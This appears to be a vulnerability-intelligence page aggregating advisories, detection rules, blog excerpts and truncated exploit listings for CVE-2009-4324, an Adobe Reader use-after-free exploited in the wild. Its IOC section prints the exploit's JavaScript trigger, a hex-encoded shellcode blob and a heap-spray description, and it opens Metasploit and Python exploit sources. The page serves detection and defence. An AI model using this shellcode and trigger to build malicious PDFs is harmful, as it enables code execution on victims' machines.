CVE-2009-4324
published 2009-12-15CVE-2009-4324: Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and…
PriorityP186high7.8CVSS 3.1
AVLACLPRNUIRSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-06-22
Exploited in the wild
EPSS
81.81%
99.6th percentile
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | acrobat | >= 8.0 < 8.2 | 8.2 |
| adobe | acrobat | >= 9.0 < 9.3 | 9.3 |
| adobe | acrobat_reader | >= 8.0 < 8.2 | 8.2 |
| adobe | acrobat_reader | >= 9.0 < 9.3 | 9.3 |
| opensuse | opensuse | — | — |
| opensuse | opensuse | — | — |
| suse | linux_enterprise | — | — |
| suse | linux_enterprise_debuginfo | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandtry {this.media.newPlayer(null);} catch(e) {}util.printd("12345678901234567890123456 : 1231234", new Date());↗
snort↗
SID 16333
snort↗
SID 16334
bytes↗
%uc931%u89bf%ucf5a%ub1ac%udb48%ud9ca%u2474%u5af4%uea83%u31fc%u0d7a%u7a03%ue20d%ua67c%u2527%u577e%u56b8%ub2f7%u4489%ub663%u58b8%u9ae0%u1230%u0ea4%u56c2%u2060%udc63%u0f56%ud074%uc356%u72b6%u1e2a%u54eb%ud113%u95fe%u0c54%uc4f0%u5a0d%uf8a3%u1e3a%uf878%u14ec%u82c0%ueb89%u38b5%u3b90%u3665%ua3da%u100d%ud2fa%u42c2%u9dc6%ub06f%u1fbd%u88a6%u2e3e%u4786%u9e01%u990b%u1946%uecf4%u59bc%uf689%u2307%u7255%u8395%u241e%u357d%ub3f2%u39f6%ub0bf%u5e50%u143e%u5aeb%u9bcb%ueb3b%ubf8f%ub79f%ua154%u1d86%ude3a%ufad8%u7ae3%ue993%ufdf0%u67fe%u8f06%uc185%u8f08%u6185%ube61%uee0e%u3ff6%u4ac5%u0a08%ufa47%ud381%ube12%ue3cf%ufdc9%u67e9%u7dfb%u770e%u788e%u3f4a%uf163%uaac3%ua683%ufee4%u25e0%u2f7f%ucd83%u0f1a%u4d64%u21c5%ue51f%ucb25%u60ac%u1354%u0e3f%u32ec%ua0cc%uda60%u355b%u4959%uc1fe%ue2f8%u4670%u6d94%ub604%u2f45%uf2a0%u89b9%udb0e%ub0d7%u3b3a%u5444%u5aa1%ucdf8%uf257%u6275%u4db7%uef12%u23de%u9cb3%uce54%u1722%u5cfb%uf7d6%uc46e%u996c%u7603%u36e1%u028a%ue7d9%uaf0d%uf85d
- →Detection pattern: util.printd() calls with abnormally long numeric format strings immediately before/after the media.newPlayer(null) call are used to groom the heap (use-after-free exploitation). Detect the combination of util.printd with long format strings and media.newPlayer(null). ↗
- →PDF structure indicator: OpenAction -> JavaScript -> FlateDecode/ASCIIHexDecode filter chain in PDF objects is a strong malicious indicator for this exploit family. ↗
- →PDF obfuscation: ASCII hex encoding of PDF object keywords (e.g. /Typ#65/#41#63t#69#6fn for /Type/Action) is used to evade signature detection; use pdf-parser.py with deobfuscation to reveal true object types. ↗
- →JavaScript obfuscation indicators in malicious PDFs: presence of unescape(), syncAnnotScan, getAnnots, replace, randomized variable names, and large hex-encoded shellcode blobs passed to unescape(). ↗
- →Heap spray pattern: loop allocating 0x2000 (8192) array entries combining NOP sled and shellcode is used in the in-the-wild exploit. ↗
- →Disabling JavaScript in Adobe Reader fully neutralizes this exploit, as the vulnerability is triggered entirely through the JavaScript engine. ↗
- →DEP (Data Execution Prevention) stops in-the-wild samples seen at time of disclosure, though it is not foolproof against all variants. ↗
- →The exploit targets Adobe Reader versions greater than 8; the JavaScript checks the viewer version before triggering the vulnerability. ↗
- →CVE-2009-4324 was bundled in the iPack crimeware kit alongside other PDF exploits, indicating broad criminal exploitation infrastructure. ↗
- ·The in-the-wild exploit relies on the heap lookaside list being clean; if chunks of the target size are already present, the util.printd heap-grooming step may fail, making exploitation unreliable. No observed samples compensate for this. ↗
- ·util.printd is the heap-grooming primitive used in the wild but is likely not the only method to trigger the use-after-free; other primitives may exist. ↗
- ·The exploit uses ZLib (FlateDecode) compressed streams to obfuscate the malicious JavaScript payload, requiring decompression during analysis. ↗
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
cisa7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Adobe Acrobat and Reader Use-After-Free Vulnerability
cisa·2022-06-08·CVSS 7.8
CVE-2009-4324 [HIGH] CWE-399 Adobe Acrobat and Reader Use-After-Free Vulnerability
Vulnerability: Adobe Acrobat and Reader Use-After-Free Vulnerability
Affected: Adobe Acrobat and Reader
Use-after-free vulnerability in Adobe Acrobat and Reader allows remote attackers to execute code via a crafted PDF file.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2009-4324
Remediation Due Date: 2022-06-22
Red Hat
acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
vendor_redhat·2009-12-14·CVSS 7.8
CVE-2009-4324 [HIGH] acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.
GHSA
GHSA-rv25-qx26-27xv: Use-after-free vulnerability in the Doc
ghsa_unreviewed·2022-05-02
CVE-2009-4324 [HIGH] CWE-416 GHSA-rv25-qx26-27xv: Use-after-free vulnerability in the Doc
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.
VulnCheck
Adobe Acrobat and Reader Use-After-Free Vulnerability
vulncheck·2009·CVSS 7.8
CVE-2009-4324 [HIGH] CWE-399 Adobe Acrobat and Reader Use-After-Free Vulnerability
Adobe Acrobat and Reader Use-After-Free Vulnerability
Use-after-free vulnerability in Adobe Acrobat and Reader allows remote attackers to execute code via a crafted PDF file.
Affected: Adobe Acrobat and Reader
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.cve.org/CVERecord?id=CVE-2009-4324; https://blog.talosintelligence.com/acrobat-javascript-blacklist-framework/; https://citizenlab.ca/wp-content/uploads/2017/05/shadows-in-the-cloud.pdf; https://www.virusbulletin.com/virusbulletin/2010/05/exploit-kit-explosion-part-two-vectors-attack/; https://web.archive.org/web/20120907091804/http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf; https://www.trendmicro.de/cloud-content/us/pdfs/sec
Suricata
ET WEB_CLIENT Possible Adobe Multimedia Doc.media.newPlayer Memory Corruption Attempt
suricata·2010-07-30
CVE-2009-4324 ET WEB_CLIENT Possible Adobe Multimedia Doc.media.newPlayer Memory Corruption Attempt
ET WEB_CLIENT Possible Adobe Multimedia Doc.media.newPlayer Memory Corruption Attempt
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_CLIENT Possible Adobe Multimedia Doc.media.newPlayer Memory Corruption Attempt"; flow:established,to_client; file.data; content:"PDF-"; depth:300; content:"this.media.newPlayer|28|null"; fast_pattern; nocase; distance:0; content:"util.printd"; nocase; within:150; reference:url,www.metasploit.com/redmine/projects/framework/repository/revisions/7881/entry/modules/exploits/windows/fileformat/adobe_media_newplayer.rb; reference:url,vrt-sourcefire.blogspot.com/2009/12/adobe-reader-medianewplayer-analysis.html; reference:bid,37331; reference:cve,2009-4324; classtype:attempted-user; sid:2010495; rev:15; metadata:affected_product Web_Browsers, affe
Exploit-DB
Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (2)
exploitdb·2010-09-25
CVE-2009-4324 Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (2)
Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (2)
---
##
# $Id: adobe_media_newplayer.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
Professional versions up to and including 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'hdm',
'pusscat',
'jduck'
],
'Version' =
Exploit-DB
Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (1)
exploitdb·2010-04-30
CVE-2009-4324 Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (1)
Adobe - 'Doc.media.newPlayer' Use-After-Free (Metasploit) (1)
---
##
# $Id: adobe_media_newplayer.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
Professional versions up to and including 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'hdm',
'pusscat',
'jduck',
'jabra'
],
Exploit-DB
Adobe Reader / Acrobat - '.PDF' File Overflow
exploitdb·2009-12-23·CVSS 7.8
CVE-2009-4324 [HIGH] Adobe Reader / Acrobat - '.PDF' File Overflow
Adobe Reader / Acrobat - '.PDF' File Overflow
---
#
# Author : Ahmed Obied ([email protected])
#
# This program generates a PDF file that exploits a vulnerability (CVE-2009-4324)
# in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe
# Reader 9.2.0 on Windows XP SP3. The exploit's payload spawns the calculator.
#
# Usage : python adobe_newplayer.py [output file name]
#
import sys
class PDF:
def __init__(self):
self.xrefs = []
self.eol = '\x0d\x0a'
self.content = ''
self.xrefs_offset = 0
def header(self):
self.content += '%PDF-1.1' + self.eol
def obj(self, obj_num, data):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '>' + self.eol
self.content += 'endobj' + self.eol
def ref(self, ref_num):
return '%d 0
Metasploit
Adobe Doc.media.newPlayer Use After Free Vulnerability
metasploit
Adobe Doc.media.newPlayer Use After Free Vulnerability
Adobe Doc.media.newPlayer Use After Free Vulnerability
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat Professional versions up to and including 9.2.
Zscaler
PDF Exploit: Number Of Pages Is The Key | Zscaler
blogs_zscaler·2010-08-04
PDF Exploit: Number Of Pages Is The Key | Zscaler
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
More And More Obfuscation Being Used In The Malicious Script
blogs_zscaler·2010-05-07
More And More Obfuscation Being Used In The Malicious Script
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Krebs
iPack Exploit Kit Bites Windows Users
blogs_krebs·2010-04-16·CVSS 5.1
[MEDIUM] iPack Exploit Kit Bites Windows Users
Not long ago, there were only a handful of serious so-called “exploit packs,” crimeware packages that make it easy for hackers to booby-trap Web sites with code that installs malicious software.
These days, however, it seems like we’re hearing about a new custom exploit kit every week. Part of the reason for this may be that more enterprising hackers are seeing the moneymaking potential of these offerings, which range from a few hundred dollars per kit to upwards of $10,000 per installation — depending on the features and plugins requested.
Take, for example, the iPack crimeware kit, an exploit pack that starts at around $500.
Its name and cute logo aside, iPack has nothing to do with Apple’s products. According to Jorge Mieres over at the Malware Intelligence blog, the software vulnera
Talos
Matt's Primer for PDF Analysis
blogs_talos·2010-04-05
Matt's Primer for PDF Analysis
For obvious reasons, the VRT has been spending a lot of time on the PDF format lately. While the attack researchers have been concentrating on fuzzing, reverse engineering and data flow analysis, the defense researchers have been automating the backend analysis of PDF submissions. As part of this effort, we've had to do a very deep dive on the PDF format. I thought it might be useful to share some of what we're seeing come in our data feeds, and what you should look for when reviewing PDF files.
So let's start with the first structure you have to understand, the obj structure. For the moment, most everything you really are going to worry about occurs in association with either the obj tags or Javascript. Here is the obj tag format:
`[objnum] [genid] obj (value) endobj`
Obj tags declare
Talos
Matt's Primer for PDF Analysis
blogs_talos·2010-04-05
Matt's Primer for PDF Analysis
## Matt's Primer for PDF Analysis
For obvious reasons, the VRT has been spending a lot of time on the PDF format lately. While the attack researchers have been concentrating on fuzzing, reverse engineering and data flow analysis, the defense researchers have been automating the backend analysis of PDF submissions. As part of this effort, we've had to do a very deep dive on the PDF format. I thought it might be useful to share some of what we're seeing come in our data feeds, and what you should look for when reviewing PDF files.
So let's start with the first structure you have to understand, the obj structure. For the moment, most everything you really are going to worry about occurs in association with either the obj tags or Javascript. Here is the obj tag format:
[objnum] [genid] obj
Krebs
iPack Exploit Kit Bites Windows Users – Krebs on Security
blogs_krebs·2010-04-01·CVSS 5.1
[MEDIUM] iPack Exploit Kit Bites Windows Users – Krebs on Security
Not long ago, there were only a handful of serious so-called “exploit packs,” crimeware packages that make it easy for hackers to booby-trap Web sites with code that installs mal icious soft ware .
These days, however, it seems like we’re hearing about a new custom exploit kit every week. Part of the reason for this may be that more enterprising hackers are seeing the moneymaking potential of these offerings, which range from a few hundred dollars per kit to upwards of $10,000 per installation — depending on the features and plugins requested.
Take, for example, the iPack crimeware kit, an exploit pack that starts at around $500.
Its name and cute logo aside, iPack has nothing to do with Apple’ s products. According to Jorge Mieres over at the Malware Intelligence blog , the software vu
Talos
The Acrobat JavaScript Blocklist Framework
blogs_talos·2010-01-20
The Acrobat JavaScript Blocklist Framework
## The Acrobat JavaScript Blocklist Framework
Adobe recently announced and released the Adobe Reader and Acrobat JavaScript Blocklist Framework. I've had a little bit of time to play with it and would just like to share my thoughts. First of all, I am very pleased with this new blocklisting feature. Until now, when we knew about 0-day being actively exploited in the wild using JavaScript in some manner, we would just turn off JavaScript in Adobe products (Reader, Acrobat, etc...) all together. Personally, I could live without having JavaScript in my documents, but that's a totally different discussion. I understand why some people might want that feature for their PDF documents and why for them at least, turning JavaScript completely off would not be an option. So let's say, for example,
Talos
The Acrobat JavaScript Blocklist Framework
blogs_talos·2010-01-20
The Acrobat JavaScript Blocklist Framework
Adobe recently announced and released the Adobe Reader and Acrobat JavaScript Blocklist Framework. I've had a little bit of time to play with it and would just like to share my thoughts. First of all, I am very pleased with this new blocklisting feature. Until now, when we knew about 0-day being actively exploited in the wild using JavaScript in some manner, we would just turn off JavaScript in Adobe products (Reader, Acrobat, etc...) all together. Personally, I could live without having JavaScript in my documents, but that's a totally different discussion. I understand why some people might want that feature for their PDF documents and why for them at least, turning JavaScript completely off would not be an option. So let's say, for example, that you are running Adobe Reader 9.2.0 which i
Zscaler
New Zero Day Adobe Acrobat Reader Vulnerability Analysis – Part 1 | Zscaler
blogs_zscaler·2009-12-16·CVSS 7.8
[HIGH] New Zero Day Adobe Acrobat Reader Vulnerability Analysis – Part 1 | Zscaler
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Talos
Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
blogs_talos·2009-12-15·CVSS 7.8
[HIGH] Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
First off its not Friday, and hopefully you'll have a better weekend. The reason for that is you are set with rules and clam sigs.
Now what the heck am I talking about….
Last night Adobe released an advisory detailing an in the wild exploit for Adobe Acrobat that is currently circulating in a number of places. Due to all the confusion and hype last time around with the famous JBIG2 vulnerability we figured we'd take a deep dive into the specifics surrounding this vulnerability so everyone can better understand what it is doing and how to protect yourself against it.
First off the executive summary for those who don't have a lot of time.
1. The in the wild exploit is detected by both our Snort signatures and the ClamAV signatures (SIDs 16333 and 16334, ClamAV Exploit.PDF-4619 and Exploi
Talos
Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
blogs_talos·2009-12-15·CVSS 7.8
CVE-2009-4324 [HIGH] Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
## Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
First off its not Friday, and hopefully you'll have a better weekend. The reason for that is you are set with rules and clam sigs.
Now what the heck am I talking about….
Last night Adobe released an advisory detailing an in the wild exploit for Adobe Acrobat that is currently circulating in a number of places. Due to all the confusion and hype last time around with the famous JBIG2 vulnerability we figured we'd take a deep dive into the specifics surrounding this vulnerability so everyone can better understand what it is doing and how to protect yourself against it.
First off the executive summary for those who don't have a lot of time.
The in the wild exploit is detected by both our Snort signatures and the ClamAV signatures
Threat Intel
APT12 (APT12, IXESHE, DynCalc)
threat_intel·CVSS 8.8
[HIGH] APT12 (APT12, IXESHE, DynCalc)
# Threat Actor Profile: APT12
ATT&CK ID: G0005
Also known as: APT12, IXESHE, DynCalc, Numbered Panda, DNSCALC
Suspected origin: China
## Overview
APT12 is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)
## Techniques (TTPs)
### Initial Access
- T1566.001 Spearphishing Attachment
Usage: APT12 has sent emails with malicious Microsoft Office documents and PDFs attached.(Citation: Moran 2014)(Citation: Trend Micro IXESHE 2012)
### Execution
- T1204.002 Malicious File
Usage: APT12 has attempted to get victims to open malicious Microsoft Word and PDF attachment sent via spearphishing.(Citation: Moran 2014)(Citation: Trend Mi
Bugzilla
CVE-2009-3953 CVE-2009-3954 CVE-2009-3955 CVE-2009-3959 acroread: multiple code execution flaws (APSB10-02)
bugzilla·2010-01-11·CVSS 8.8
CVE-2009-3953 [HIGH] CVE-2009-3953 CVE-2009-3954 CVE-2009-3955 CVE-2009-3959 acroread: multiple code execution flaws (APSB10-02)
CVE-2009-3953 CVE-2009-3954 CVE-2009-3955 CVE-2009-3959 acroread: multiple code execution flaws (APSB10-02)
Adobe Security Bulletin for Adobe Reader and Acrobat APSB10-02 fixes following code execution flaws:
This update resolves a use-after-free vulnerability in Multimedia.api that could lead to code execution (CVE-2009-4324).
-> tracked via separate bug #547799
This update resolves an array boundary issue in U3D support that could lead to code execution (CVE-2009-3953).
This update resolves a memory corruption vulnerability that could lead to code execution (CVE-2009-3955).
This update resolves an integer overflow vulnerability in U3D support that could lead to code execution (CVE-2009-3959).
Discussion:
Two more platform-specific issues:
This update resolves a DLL-loading vulner
Bugzilla
CVE-2009-4324 acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
bugzilla·2009-12-15·CVSS 7.8
CVE-2009-4324 [HIGH] CVE-2009-4324 acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
CVE-2009-4324 acroread: media.newplayer JavaScript API code execution vulnerability (APSB10-02)
Common Vulnerabilities and Exposures assigned an identifier CVE-2009-4324 to
the following vulnerability:
Name: CVE-2009-4324
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324
Assigned: 20091214
Reference:
MISC: http://blogs.adobe.com/psirt/2009/12/new_adobe_reader_and_acrobat_v.html
Unspecified vulnerability in Adobe Reader and Acrobat 9.2 and earlier
has unknown impact and attack vectors, as exploited in the wild in
December 2009.
An unconfirmed third-party posting [1] indicates this vulnerability is in the JavaScript processing, so a proposed work-around is to disable JavaScript (Edit -> Preferences -> JavaScript). This has not been official confirmed by Adobe.
[1] http:/
arXiv
A Survey on Security Metrics
arxiv_fulltext·2016-01-20
A Survey on Security Metrics
M. Pendleton et al.A Survey on Security Metrics
A Survey on Security Metrics (Author's addresses: M. Pendleton and) R. Lebron-Garcia and S. Xu, Department of Computer Science,
The University of Texas at San Antonio. Correspondence: Shouhuai Xu ( [email protected])
MARCUS PENDLETON
The University of Texas at San Antonio
RICHARD GARCIA-LEBRON
The University of Texas at San Antonio
SHOUHUAI XU
The University of Texas at San Antonio
## Abstract
The importance of security metrics can hardly be overstated.
Despite the attention that has been paid by the academia, government and industry in the past decades,
this important problem stubbornly remains open.
In this survey, we present a survey of knowledge on security metrics. The survey is centered on a novel
taxonomy, which classifies security
http://blogs.adobe.com/psirt/2009/12/new_adobe_reader_and_acrobat_v.htmlhttp://contagiodump.blogspot.com/2009/12/virustotal-httpwww.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-01/msg00009.htmlhttp://osvdb.org/60980http://secunia.com/advisories/37690http://secunia.com/advisories/38138http://secunia.com/advisories/38215http://www.adobe.com/support/security/advisories/apsa09-07.htmlhttp://www.adobe.com/support/security/bulletins/apsb10-02.htmlhttp://www.kb.cert.org/vuls/id/508357http://www.metasploit.com/redmine/projects/framework/repository/revisions/7881/entry/modules/exploits/windows/fileformat/adobe_media_newplayer.rbhttp://www.redhat.com/support/errata/RHSA-2010-0060.htmlhttp://www.securityfocus.com/bid/37331http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20091214http://www.symantec.com/connect/blogs/zero-day-xmas-presenthttp://www.us-cert.gov/cas/techalerts/TA10-013A.htmlhttp://www.vupen.com/english/advisories/2009/3518http://www.vupen.com/english/advisories/2010/0103https://bugzilla.redhat.com/show_bug.cgi?id=547799https://exchange.xforce.ibmcloud.com/vulnerabilities/54747https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6795http://blogs.adobe.com/psirt/2009/12/new_adobe_reader_and_acrobat_v.htmlhttp://contagiodump.blogspot.com/2009/12/virustotal-httpwww.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-01/msg00009.htmlhttp://osvdb.org/60980http://secunia.com/advisories/37690http://secunia.com/advisories/38138http://secunia.com/advisories/38215http://www.adobe.com/support/security/advisories/apsa09-07.htmlhttp://www.adobe.com/support/security/bulletins/apsb10-02.htmlhttp://www.kb.cert.org/vuls/id/508357http://www.metasploit.com/redmine/projects/framework/repository/revisions/7881/entry/modules/exploits/windows/fileformat/adobe_media_newplayer.rbhttp://www.redhat.com/support/errata/RHSA-2010-0060.htmlhttp://www.securityfocus.com/bid/37331http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20091214http://www.symantec.com/connect/blogs/zero-day-xmas-presenthttp://www.us-cert.gov/cas/techalerts/TA10-013A.htmlhttp://www.vupen.com/english/advisories/2009/3518http://www.vupen.com/english/advisories/2010/0103https://bugzilla.redhat.com/show_bug.cgi?id=547799https://exchange.xforce.ibmcloud.com/vulnerabilities/54747https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6795https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2009-4324
2009-12-15
Published
2022-06-08
Added to CISA KEV
Exploited in the wild